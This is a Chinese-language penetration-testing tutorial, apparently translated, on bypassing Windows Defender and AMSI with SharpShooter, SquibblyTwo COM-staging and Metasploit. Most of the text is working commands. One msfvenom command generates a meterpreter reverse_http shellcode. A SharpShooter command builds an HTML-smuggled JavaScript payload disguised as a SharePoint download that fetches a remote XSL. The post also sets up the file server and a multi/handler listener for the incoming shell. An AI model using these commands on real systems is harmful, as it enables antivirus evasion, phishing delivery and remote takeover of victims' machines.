滲透測試技巧:如何使用Sharpshooter+SquibblyTwo繞過AMSI防禦
我在本文會介紹兩部分內容:
1.建立一個沒有被Windows Defender檢測到的有效載荷,即使具有實時保護,高階威脅防護和AMSI(Microsoft 的反惡意軟體掃描介面),也照樣可以。
2.所有這些都是在沒有Cobalt Strike的情況下進行的,而是使用Sharpshooter + Metasploit/Msfvenom。
注意事項
1.你只能使用帶Sharpshooter的python2,它將與python3一起執行,且破壞力巨大;
2.複製測試報告(Repo)和Sharpshooter的設定;
3.複製Repo或安裝metasploit framework(使用rvm並使用bundler安裝deps),Metasploit Framework是一個編寫,測試和使用exploit程式碼的完善環境。這個環境為滲透測試,shellcode編寫和漏洞研究提供了一個可靠的平臺;
另外,在寫本文時,我會假設你已經閱讀了我以前寫的metasploit+msfvenom得經驗介紹、xsl的概念( ofollow,noindex">如何手動完成 )以及在Linux中使用CLI的方法。
生成shellcode
你需要msfvenom來完成這個任務,在其他如何使用Sharpshooter的例子中,你會經常看到有滲透者使用像csharp位元組陣列這樣的操作。但在本文中,我將直接使用shellcode。幸運的是,msfvenom實際上會在一個命令中自動完成這個操作。
執行以下命令:
./msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=192.168.1.221 LPORT=443 EnableStageEncoding=True PrependMigrate=True -f raw -o shellcode.txt
如果你以前使用過msfvenom,那麼你就知道這只是使用meterpreter reverse_http有效載荷為x64架構(64位)生成的有效載荷。 reverse_http有效載荷選項可幫助我們讓滲透測試變得更隱蔽,並通過低複雜度的資料包檢測防火牆。例如,某些防火牆允許 “http”流量的通過。
生成有效載荷
現在我已經生成了shellcode,並將shellcode.txt檔案放在同一目錄中。現在,如果你使用的是Arch Linux這樣的發行版,那預設情況下“Python”將是Python3。而在Ubuntu + Kali上,預設情況下它將是Python2,你可以通過執行python –version輕鬆驗證。
現在我就可以使用正確的python版本(對我來說,是python2),執行檔案並執行以下程式碼。
python2 SharpShooter.py --stageless --dotnetver 2 --payload js --output foo --rawscfile raw3.txt --smuggle --template sharepoint --com xslremote --awlurl http://192.168.1.221:8000/foo.xsl
首先,這將建立一個無狀態有效載荷(stageless payload),這意味著它將不會被暫存,並將它需要的所有內容載入進來。這可能有點誤導人,因為它稍後會提取.xsl檔案。
其次,它將指定使用的dotnet版本(在本文中,你需要確保目標安裝了dotnet 2),如果沒有,那麼將載入失敗。不過目前,大多數Windows目標至少都有dotnet版本2。
接下來就是指定要使用的有效載荷型別,在本文中,我指定了JS,但是,我也可以輕鬆地指定諸如vba之類的型別。
之後,我需要使用–smuggle函式。因為有一些防火牆和安全軟體會阻止.js和.vba檔案的下載,而這個–smuggle函式將檔案包裝在html檔案中,對其進行編碼和加密。在頁面載入時,資料被解密和解碼,最後儲存為blob物件。此時,阻止惡意擴充套件的垃圾郵件過濾器將不再起作用。同時,我指定了一個模板,該模板會使頁面看起來更合理。在本文中,我將SharePoint指定為模板,這意味著網路釣魚HTML看起來就像是從Microsoft Sharepoint下載的。
現在關鍵的部分來說,就是進入Com-staging。 Com-staging是來自Mdsec的Dom Chell創造的一個用法,為了破壞它,一些Microsoft應用程式(如Outlook)具有允許你執行shell命令的函式,例如obj.CreateObject("Wscript.shell").run("fun commands")。這是由Sharpshooter使用的,在本文中,它利用WMI從XSL檔案執行程式碼。
接下來,我需要指定我的–awlurl,這將是xsl檔案所在的位置。在本文中,我已經在我的http:// myip:8000 / file.xsl中指定了,因為它在預設情況下被放在輸出資料夾中,我將在那裡執行一個python http伺服器。
惡意檔案的提供過程是這樣的,cd進入./output目錄,然後執行python3 -m http.server。這樣在此目錄中的埠8000上,會建立一個基本的python Web伺服器。
現在,在另一個視窗中,啟動Metasploit處理程式。
sudo -E ./msfconsole use exploit/multi/handler set LHOST 192.168.1.221 set LPORT 443 set PAYLOAD windows/x64/meterpreter/reverse_http set ExitOnSession false exploit –j
現在你應該啟動一個reverse_http處理程式,此時,你應該只需確保埠8000和埠443開啟即可。現在導航到http://yourip:8000/foo.html,此時你應該能夠開啟檔案,並收到一個shell!
總結
Sharpshooter + SquibblyTwo與Com-staging的結合,目前是繞過AMSI的絕配。